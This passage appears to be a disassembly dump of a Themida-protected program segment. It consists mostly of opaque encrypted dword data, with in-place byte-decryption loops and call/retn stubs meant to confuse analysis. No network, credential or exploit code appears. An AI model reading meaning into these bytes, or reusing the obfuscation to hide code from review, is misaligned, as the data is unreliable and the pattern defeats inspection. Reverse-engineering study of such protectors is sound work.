		dd 9EA75C00h, 0AEE0FD2h, 87840FC9h, 8B000001h, 0E320EDBDh
		dd 0D1858B0Ah, 6A0AE31Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 3521C350h, 2D4A619Dh
		dd 7C1CAF05h, 1E458533h, 0F7810AE3h, 470C0FCh, 840F50h
		dd 89000000h, 89602404h, 0E312D585h, 6104B70Ah,	67B7006Ah
		dd 4E8F9h, 3FF0000h, 5760001Fh,	840Fh, 66580000h, 5061D08Bh
		dd 0AC8A8EBBh, 24448B52h, 10E804h, 0E4120000h, 0B40A86E4h
		dd 0ACD66C83h, 0D1A18BC2h, 0EE9EF1Ah, 77000000h, 418544C7h
		dd 1353F76Eh, 1864DB6h,	8B5BC0h, 0B54FBF66h, 4244489h
		dd 48B0F50h, 66000000h,	5B8173BFh, 55006A58h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 344EC062h
		dd 13800F94h, 0E8000000h, 0Ah, 97581967h, 0A4D897B0h, 8B66BFD3h
		dd 95FF5FD8h, 0AE31A45h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 15h, 1BC35040h, 8E9BFh, 0CA3D0000h, 38156E4Fh
		dd 0C381B594h, 4104F7EDh, 0D62A8589h, 6A0AE6h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 8E9BE8C3h, 0D3815434h, 78397269h, 194E9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 7E316BAEh, 4D9D8B89h, 0F0AE331h, 588h, 0D7816600h, 858B48A1h
		dd 0AE6D622h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Bh,	34C35646h, 1CB1A629h, 81E0D0DEh, 0C5858BEFh, 3311BB1Bh
		dd 0C71E6Bh, 18h, 0B58BF98Bh, 0AE6D626h, 309DBD29h, 858B0AE3h
		dd 0AE325D1h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ah,	59C35040h, 7AC70D40h, 6891360h,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 16h, 96C35747h, 8501AFDCh
		dd 0AE334C9h, 1FD1858Bh, 8B0F0AE3h, 5, 0C9D38166h, 446893Eh
		dd 0AE9h, 99809400h, 0BAC1860Dh, 9688C8B1h, 50FE8B66h
		dd 0FDBD8B96h, 0FF0AE332h, 0E6D622B5h, 0E195290Ah, 680AE31Dh
		dd 0B345A1CAh, 0F525051h, 80h, 0BF310F00h, 0B1A5462h, 815B585Ah
		dd 62352404h, 6A4CD9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0BD89E9C3h, 0AE32D61h, 8DCEF780h
		dd 0E6D62A85h, 50D98B0Ah, 6A240489h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 108AC356h
		dd 95FFD88Bh, 0AE31A45h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 0A0C35141h, 6A61F9h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0B183E7C3h
		dd 0BD8BC8D7h, 0AE32DD9h, 6985C7h, 30AE3h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 28D4D4C3h, 95897317h, 0AE33065h, 0D62ABD83h,	0F000AE6h
		dd 4E84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0E89007B0h, 0D890EF81h, 3FE91BEFh
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 3762C357h, 89BB0701h
		db 65h,	5Fh, 23h
; ---------------------------------------------------------------------------


loc_5CF45F:				; CODE XREF: Themida_:005CF04Fj
					; Themida_:005CF476j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CF45F
		jmp	short loc_5CF4B0
; ---------------------------------------------------------------------------


loc_5CF47A:				; CODE XREF: Themida_:005CEFEAj
					; Themida_:005CF491j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CF47A
		jmp	short loc_5CF4B0
; ---------------------------------------------------------------------------


loc_5CF495:				; CODE XREF: Themida_:005CF01Aj
					; Themida_:005CF4ACj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5CF495
		jmp	short $+2


loc_5CF4B0:				; CODE XREF: Themida_:005CF478j
					; Themida_:005CF493j
		mov	eax, eax
		mov	edi, [ebp+0AE30A31h]
		push	0
		push	edx
		call	sub_5CF4C3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF4C3	proc near		; CODE XREF: Themida_:005CF4BBp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5CF4C3	endp

; ---------------------------------------------------------------------------
		db 0E6h
		dd 48EE7AFDh, 0BD83656Ch, 0AE30069h, 99850F03h,	0B000003h
		dd 0E300419Dh, 2ABD830Ah, 0AE6D6h, 386840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0D52D2C3h, 99FB4ED1h, 5FD780C6h, 12E9h, 56EC7900h, 7F286C5Dh
		dd 0F3ED26EBh, 0D14BBAC3h, 0FF9CFE1Ch, 0E6D62AB5h, 218D890Ah
		dd 0FF0AE32Fh, 0E3331595h, 57006A0Ah, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 3BBA9369h
		dd 1D458589h, 0B58B0AE3h, 0AE6D61Eh, 11E9h, 89377A00h
		dd 919B619Ch, 55FFBBABh, 0E169E1F8h, 6C7ECA8h, 10001h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0CC35646h
		dd 0F509633h, 8Bh, 6A9600h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 1058C3h, 9D8B05F2h, 0AE32BF1h
		dd 5AF78166h, 2AB5FFDFh, 890AE6D6h, 0E319F5B5h,	0BD95FF0Ah
		dd 6A0AE320h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0AFB5C355h, 7B8EF8CCh,	8BFC872Bh
		dd 0E6D61EB5h, 0CE80Ah,	78660000h, 0B755EC26h, 0B8CA91Bh
		dd 0B5295AAAh, 0AE30595h, 59858B5Fh, 890AE310h,	0E32F6DB5h
		dd 0C486890Ah, 1000000h, 0E322658Dh, 79958B0Ah,	6A0AE314h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 60ABC356h, 0DFB0EF5Ah, 83BDD70Ch,	8B6604C2h
		dd 205089FEh, 0CE9h, 92F89000h,	0A02DE7B2h, 7F7EAF37h
		dd 0B3858D61h, 0E80AE6E8h, 0Bh,	49058F38h, 9DED4079h, 0F8025569h
		dd 14E95Bh, 716D0000h, 1431E1B0h, 0DC49AE02h, 1AD84DC8h
		dd 0B7058590h, 86891C4Bh, 0B8h,	405BC1BBh, 0E9006A04h
		dd 11h,	0D00638B7h, 0EC2D7BB8h,	0EF6D95AAh, 0F29D0C0Dh
		dd 2AB5FFC0h, 660AE6D6h, 2FCDD381h, 1E7195FFh, 6A0AE3h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 19C2BAC3h, 5096DF8Bh, 48C0F52h, 66000000h, 0F293FBBh
		dd 6800F31h, 50000000h,	5A310F52h, 50585A58h, 52506053h
		dd 585A310Fh, 0FF965F61h, 0E6D62AB5h, 2ABB660Ah, 6995FFDAh
		dd 830AE323h, 0E317ADBDh, 840F000Ah, 38h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 17h, 30C35747h, 51656761h
		dd 9E8h, 5EFC8300h, 26FD7A62h, 5F5F145Fh, 89D88B50h, 0DE8B2434h
		dd 0D62AB5FFh, 0DF810AE6h, 7BFE250Bh, 29595FFh,	6A0AE3h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0B960D3C3h, 2B65D704h, 0FF61D78Bh, 0E6D62AB5h, 8595890Ah
		dd 0FF0AE329h, 0E311DD95h, 38D0F0Ah, 66000000h,	0BD83F98Bh
		dd 0AE3197Dh, 59840F02h, 8B000000h, 0E31A6585h,	50006A0Ah
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 2DB4FC61h, 2952067Fh, 0E33521BDh, 0C65F0Ah, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0E3A2B923h, 0BF9C97E4h, 5ABC55CFh, 211D85C7h, 0AE3h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0D135CDC3h, 18D1B589h, 9D8B0AE3h,	0AE30011h
		dd 0FFF448E9h, 53006AFFh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0AFB01FCAh, 0EB7B4E51h
		dd 349BD8Bh, 81660AE3h,	8B1D88CFh, 0FA8B66C1h, 2FFD858Dh
		dd 6FBF0AE3h, 50797F09h, 8B665250h, 60310FDEh, 0CE8h, 2E935D00h
		dd 0BAA86F79h, 0EB6D19C2h, 8B6658FCh, 585A61F9h, 0E8240489h
		dd 14h,	0CE0FB28Ah, 63F27E78h, 6218CF86h, 0B25D74E4h, 0F42F84F8h
		dd 3201BD8Bh, 6A5F0AE3h, 6A3DB700h, 12E900h, 64E10000h
		dd 51537D33h, 0FC7718AAh, 0F1F9C9F2h, 71C8856h,	0D5C3858Dh
		dd 6A0AE7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0C08307C3h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 7905FFEBh
		dd 0B3704494h, 0D9D8B1Fh, 0B0AE31Ah, 0E308C59Dh, 6660500Ah
		dd 0B966F18Bh, 8961FFD8h, 6A2404h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 51D80DC3h, 310DBD2Bh
		dd 6A5F0AE3h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 1BB7C967h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 40145FC3h
		dd 95FF123Eh, 0AE314E9h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 82C35242h, 4A74CB60h,	0FA74BB42h, 0D5CA8D8Dh
		dd 0B70F0AE6h, 81D1FFD8h, 0F04F28E3h, 69BD8348h, 10AE322h
		dd 7F850Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 9B2216C3h, 98E17958h, 26A0C26h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0C9C35343h
		dd 7215483Dh, 0EF43FD19h, 59B9EF81h, 0BD8B1304h, 0AE325C5h
		dd 0F88B6690h, 6E950h, 0BB4E0000h, 0F810A070h, 0FFFE8B90h
		dd 0E31E7195h, 5E90Ah, 0BEC50000h, 8BFD6AACh, 0E31F819Dh
		dd 0D1CE90Ah, 0E80000h,	5D000000h, 0D5CDED81h, 6A0AE7h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 30496AC3h, 858DDF8Bh, 0AE6C13Eh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 77C35343h, 0F5090EFh, 138Ah
		dd 0EE900h, 0E10B0000h,	3EFCE33Ah, 0C685B336h, 59AA2891h
		dd 12E990h, 33D60000h, 1AAB0AD7h, 651212A1h, 18B3DBF3h
		dd 0D4ACB006h, 35FF64h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 3765C350h
		dd 0FB46AC5Ah, 5BD8B51h, 640AE31Eh, 2589h, 0FFF80000h
		dd 0E31C1585h, 52006A0Ah, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 7D286FCh, 0AB84962h, 4830Fh
		dd 0BB660000h, 0FF6AD40Ah, 29D3BB66h, 120DB5FFh, 6A0AE3h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0D4E15DC3h, 0B56EAFE7h, 0FF458B06h, 0E3007D95h, 107E90Ah
		dd 840F0000h, 5, 70DB8166h, 8E9A5h, 0AAD70000h,	83D2CA6Eh
		dd 0B08772h, 14C19589h,	70E60AE3h, 0E30BF381h, 71E4340Bh
		dd 29798D89h, 613C0AE3h, 0CF830Fh, 0B70F0000h, 0C8B60FDBh
		dd 0ACD8589h, 6BA0AE3h,	8B000000h, 0BE9C1h, 0CC4A0000h
		dd 4DE2805h, 5C8E138Bh,	4E8C1B5h, 2FA1B589h, 0F7660AE3h
		dd 0B19589E2h, 8B0AE320h, 8BC82BF9h, 0E30915BDh, 8BD18B0Ah
		dd 87E9F8h, 8B660000h, 0B5858BF8h, 0B0AE317h, 0E32E21BDh
		dd 7C0830Ah, 201DBD09h,	0C0830AE3h, 0CFBDBF00h,	0D03B3011h
		dd 0E830Fh, 66570000h, 5B0965BBh, 54E9h, 0D88BF500h, 19D58D8Bh
		dd 0BD8B0AE3h, 0AE318B1h, 0E183D88Bh, 3A840F01h, 33000000h
		dd 0E32C619Dh, 0D5A5830Ah, 0FE0AE319h, 10E8h, 0B4C5B600h
		dd 910005B4h, 6AF3BEC2h, 0D6ECF99Ah, 0A99D8B2Ch
		dd 5F0AE320h, 17B59589h, 0BD8B0AE3h, 0AE32BF9h,	0E9h, 16B58D00h
		dd 890AE73Bh, 0E32331B5h, 6A006A0Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 4846C352h
		dd 5CF7D174h, 315D8589h, 95FF0AE3h, 0AE31CD1h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0B3C35242h, 0D2B3F8C9h
		dd 859B9h, 0ED953100h, 830AE31Ch, 820FFCE1h, 2,	6AFCFB8Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 97A6C351h, 8B86977Eh, 0B8h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 79257BF0h, 0BA6C1074h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5CFDB3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFDB3	proc near		; CODE XREF: Themida_:005CFDABp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5CFDB3	endp

; ---------------------------------------------------------------------------
		push	edx
		sub	cl, [ebx+ebx*8+0Fh]
		mov	bh, 0FEh


loc_5CFDCA:				; CODE XREF: Themida_:005CFDD4j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5CFDCA
		or	[ebp+0AE31B01h], eax
		push	0
		push	ebp
		call	sub_5CFDE7
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFDE7	proc near		; CODE XREF: Themida_:005CFDDFp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5CFDE7	endp

; ---------------------------------------------------------------------------
		db 36h
; ---------------------------------------------------------------------------
		or	eax, 88h
		jmp	loc_5CFE10
; ---------------------------------------------------------------------------
		dw 5D2Bh
		dd 0DA1E3DEFh, 0A27FA9ECh, 3862A4F9h
; ---------------------------------------------------------------------------


loc_5CFE10:				; CODE XREF: Themida_:005CFDFDj
		mov	edx, [ebp+0AE31479h]
		mov	[ebp+0AE31B1Dh], edx
		mov	ecx, [ebp+0AE306C9h]
		push	0
		push	ebx
		call	sub_5CFE2D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFE2D	proc near		; CODE XREF: Themida_:005CFE25p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5CFE2D	endp

; ---------------------------------------------------------------------------
		sahf
		add	ch, al
		or	eax, 5E000000h
		xchg	bl, [ebp+ecx*8+75h]
		mov	edx, 2F4D290Dh
		cmpsd
		cmp	ecx, [edx]
		movsx	ebx, dx
		pop	edi
		push	eax
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		mov	di, si
		mov	[ebp+0AE31561h], ecx
		cmp	dword ptr [ebp+0AE31F61h], 0
		jz	loc_5CFEF6
		push	0
		push	ebx
		call	sub_5CFE88
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFE88	proc near		; CODE XREF: Themida_:005CFE80p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5CFE88	endp

; ---------------------------------------------------------------------------
		dd 393F35FBh, 0B815h, 0E8560000h, 7, 0BA28011Eh, 898ECB42h
		dd 0E32ED1BDh, 8D5F5B0Ah, 0E34E6E8Dh, 659D8B0Ah, 0FF0AE321h
		dd 52006AE1h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 2CFC3964h, 5DA92AB1h, 870F5E55h,	6, 22EDBD8Bh
		db 0E3h, 0Ah
; ---------------------------------------------------------------------------


loc_5CFEF6:				; CODE XREF: Themida_:005CFE77j
		cmp	dword ptr [ebp+0AE30069h], 0
		jz	loc_5D0390
		push	0
		push	eax
		call	sub_5CFF0E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFF0E	proc near		; CODE XREF: Themida_:005CFF06p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5CFF0E	endp

; ---------------------------------------------------------------------------
		test	[eax+46BF7A29h], al
		db	64h, 36h
		cmp	word ptr [ebp+0AE30069h], 1
		jz	loc_5D03AB
		push	0
		push	ecx
		call	sub_5CFF3F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFF3F	proc near		; CODE XREF: Themida_:005CFF37p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5CFF3F	endp

; ---------------------------------------------------------------------------
		inc	ebp
		mov	di, ax
		cmp	dword ptr [ebp+0AE30069h], 3
		jbe	loc_5D0375
		push	0
		push	ecx
		call	sub_5CFF6B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CFF6B	proc near		; CODE XREF: Themida_:005CFF63p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5CFF6B	endp

; ---------------------------------------------------------------------------
		db 0DAh
		dd 53D8FCE5h, 0E3DC2A42h, 66C381FEh, 606E3CD9h,	0D3B8BE60h
		dd 8D8B7F8Dh, 0AE31E65h, 66DBB361h, 9589D98Ch, 0AE33321h
		dd 0FE9h, 0B3515A00h, 0DFD4D92Eh, 0ED3C3A80h, 842DE3A1h
		dd 8B04E180h, 0E31E919Dh, 0FC90A0Ah, 18584h, 0C99D8900h
		dd 8B0AE31Fh, 0E31FD185h, 58F3810Ah, 33181265h,	0E31E4585h
		dd 57006A0Ah, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 298D23F6h, 3D6C60CDh, 68E0FCDh, 23000000h
		dd 0E316DD9Dh, 7E8500Ah, 89000000h, 0A0B29521h,	0CBB77C2h
		dd 5F7C6060h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0C25BC357h,	684328B0h
		dd 974F69D7h, 10E95753h, 0F7000000h, 375A5866h,	1AB8B9E9h
		dd 79257BF0h, 5B6C1074h, 0F006A5Fh, 68Eh, 0DD858900h, 680AE303h
		dd 7486C229h, 3FF4B860h, 9E96398h, 0EA000000h, 86CB5AF4h
		dd 0D2BC7067h, 24348161h, 7499C1D6h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0B9C35242h,	6850FEEh, 8B000000h
		dd 0E32995BDh, 4595FF0Ah, 6A0AE31Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 319BC353h
		dd 0E31AC99Dh, 0CB79BB0Ah, 8589757Fh, 0AE6D62Ah, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 44C35747h, 0C2A3E728h
		dd 0BD8BE528h, 0AE31DC5h, 1AFE9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 8BF9D37Eh
		dd 0BE9FD8Ah, 34000000h, 25E0F31Ch, 0AFA8EA70h,	858BA539h
		dd 0AE6D622h, 599D2960h, 610AE302h, 1800C7h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0A476D1C3h, 2088AA21h, 26B58BB6h, 0E80AE6D6h, 12h, 60D337F4h
		dd 76EB6F32h, 0E48A81CEh, 0C9D4831Ch, 5BFC81DBh, 6D8529h
		dd 858B0AE3h, 0AE325D1h, 13E9h,	5FC61B00h, 0EA62EE74h
		dd 0DA6C6722h, 0D2249282h, 0EE0366Dh, 689DE8Bh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0BEC35545h, 9C635000h
		dd 8D9D8B03h, 8B0AE329h, 0E31FD185h, 0D7BB660Ah, 446892Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0F1C35545h
		dd 0B89C8AA9h, 20A99D8Bh, 0C3800AE3h, 665150A7h, 5B1B41BFh
		dd 66243489h, 89EB0DBBh, 0E31BB99Dh, 22B5FF0Ah,	520AE6D6h
		dd 1A6D8529h, 895F0AE3h, 0E311798Dh, 4E80Ah, 3FF0000h
		dd 7DBB001Fh, 506DFE8Fh, 424448Bh, 27BBBB66h, 4489008Bh
		dd 0BF660424h, 8D581E86h, 0E6D62A85h, 50E1B70Ah, 6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 5363C355h, 0FE9h,	23DA2F00h, 575DE391h, 58B09276h
		dd 0C88370F4h, 0BE9h, 890CD900h, 0A24753ABh, 20F540B1h
		dd 1A4595FFh, 9D290AE3h, 0AE31A69h, 51006A61h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0CA325DF4h
		dd 0C7F8D8EEh, 0E3006985h, 30Ah, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0D10B49E7h
		dd 3332865Ch, 0E30A699Dh, 2ABD830Ah, 0AE6D6h, 47840Fh
		dd 9D290000h, 0AE328EDh, 57E9h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0F2C82B6Eh
		dd 10E960h, 50230000h, 0A97FF60Ch, 0F9AD2C18h, 1CEF6DDh
		dd 8D8BBB78h, 0AE318C5h
; ---------------------------------------------------------------------------
		popa


loc_5D0375:				; CODE XREF: Themida_:005CFF5Aj
					; Themida_:005D038Cj
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D0375
		jmp	short loc_5D03C6
; ---------------------------------------------------------------------------


loc_5D0390:				; CODE XREF: Themida_:005CFEFDj
					; Themida_:005D03A7j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D0390
		jmp	short loc_5D03C6
; ---------------------------------------------------------------------------


loc_5D03AB:				; CODE XREF: Themida_:005CFF2Ej
					; Themida_:005D03C2j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5D03AB
		jmp	short $+2


loc_5D03C6:				; CODE XREF: Themida_:005D038Ej
					; Themida_:005D03A9j
		mov	eax, eax
		push	0
		push	ebx
		call	sub_5D03D3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D03D3	proc near		; CODE XREF: Themida_:005D03CBp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5D03D3	endp

; ---------------------------------------------------------------------------
		fsubr	qword ptr [eax+3E19201h]
		sbb	cl, cl
		push	ecx
		inc	eax
		js	loc_5D03F9
		mov	[ebp+0AE31A75h], eax


loc_5D03F9:				; CODE XREF: Themida_:005D03EDj
		jmp	loc_5D0412
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		mov	al, 5
		xor	al, 0A5h
		mov	ds, word ptr [esi-24h]
		push	edi
		aas
		jmp	short loc_5D0470
; ---------------------------------------------------------------------------
		dw 36F4h
		dd 355B8CD9h
; ---------------------------------------------------------------------------
		lahf
		inc	edx


loc_5D0412:				; CODE XREF: Themida_:loc_5D03F9j
		cmp	dword ptr [ebp+0AE30069h], 3
		jnz	loc_5D07A1
		pusha
		jp	loc_5D042C
		xor	[ebp+0AE318D5h], edi


loc_5D042C:				; CODE XREF: Themida_:005D0420j
		jb	loc_5D0434
		mov	ebx, edi


loc_5D0434:				; CODE XREF: Themida_:loc_5D042Cj
		popa
		cmp	dword ptr [ebp+0AE6D62Ah], 0
		jz	loc_5D07A1
		push	0
		push	edx
		call	sub_5D044D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D044D	proc near		; CODE XREF: Themida_:005D0445p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5D044D	endp

; ---------------------------------------------------------------------------
		db 61h,	18h, 74h
		dd 0F89A0361h, 8BBF7F5Ch, 2AB5FFFAh, 890AE6D6h
; ---------------------------------------------------------------------------


loc_5D0470:				; CODE XREF: Themida_:005D0408j
		mov	ebp, 0AE33185h
		mov	bx, 38A0h
		call	dword ptr [ebp+0AE33315h]
		mov	[ebp+0AE30691h], eax
		mov	esi, [ebp+0AE6D61Eh]
		movzx	ebx, dx
		mov	dword ptr [esi], 10001h
		mov	edi, [ebp+0AE315ADh]
		xchg	eax, esi
		mov	edi, 0C57D82Ah
		push	eax
		xchg	eax, esi
		add	[ebp+0AE330A5h], edi
		push	dword ptr [ebp+0AE6D62Ah]
		push	0
		push	edi
		call	sub_5D04B9
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D04B9	proc near		; CODE XREF: Themida_:005D04B1p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5D04B9	endp

; ---------------------------------------------------------------------------
		db 28h,	92h, 0C2h
		dd 0DD958981h, 660AE306h, 4285F781h, 20BD95FFh,	0DE80AE3h
		dd 67000000h, 0EFE05D82h, 199376E6h, 0ABC20CFCh, 0B58B5BF5h
		dd 0AE6D61Eh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Dh,	2AC35242h, 0DEF90C29h, 2C5C17EBh, 0D7816691h, 858BD700h
		dd 0AE31059h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ah,	9BC35040h, 81AA09Ah, 9D89CF61h,	0AE30809h, 0C48689h
		dd 8E0F0000h, 5, 0E3A458BBh, 79958B4Ah,	6A0AE314h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0C1D2C357h, 0D59D8B4Eh, 830AE30Fh, 0BB6604C2h, 9D8BF9D1h
		dd 0AE33011h, 6A205089h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 524AC355h, 0E9FC3D55h
